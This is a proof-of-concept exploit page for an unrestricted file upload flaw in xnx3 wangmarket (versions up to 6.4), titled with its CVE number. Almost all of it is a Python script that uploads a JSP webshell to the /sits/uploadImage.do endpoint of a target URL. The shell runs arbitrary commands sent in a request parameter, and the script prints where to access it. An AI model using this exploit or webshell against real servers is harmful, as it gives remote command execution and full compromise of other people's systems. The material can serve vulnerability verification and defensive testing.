CVE-2025-15415 | xnx3 wangmarket 任意文件上传漏洞

# CVE-2025-15415 PoC - xnx3 wangmarket Unrestricted File Upload # Affected: xnx3 wangmarket <= 6.4 import requests import sys def exploit_upload(target_url, filename='shell.jsp'): """ Exploit for CVE-2025-15415: Unrestricted File Upload in xnx3 wangmarket Target: /sits/uploadImage.do endpoint """ # Malicious JSP webshell webshell_content = '''<%@ page import="java.io.*" %><% String cmd = request.getParameter("cmd"); if(cmd != null) { Process p = Runtime.getRuntime().exec(cmd); OutputStream os = p.getOutputStream(); DataInputStream dis = new DataInputStream(p.getInputStream()); String disr = dis.readLine(); while(dis != null) { out.println(disr); disr = dis.readLine(); } } %>''' # Prepare the multipart form data files = { 'image': (filename, webshell_content, 'application/octet-stream') } # Send the malicious upload request try: response = requests.post( f"{target_url}/sits/uploadImage.do", files=files, timeout=10 ) print(f"[*] Status Code: {response.status_code}") print(f"[*] Response: {response.text}") if response.status_code == 200: print("[+] File upload appears successful!") print(f"[+] Try accessing the shell at: {target_url}/uploads/{filename}") return True else: print("[-] Upload failed or target may not be vulnerable") return False except requests.exceptions.RequestException as e: print(f"[-] Error: {e}") return False if __name__ == "__main__": if len(sys.argv) < 2: print("Usage: python cve-2025-15415.py <target_url>") print("Example: python cve-2025-15415.py http://vulnerable-site.com") sys.exit(1) target = sys.argv[1].rstrip('/') exploit_upload(target)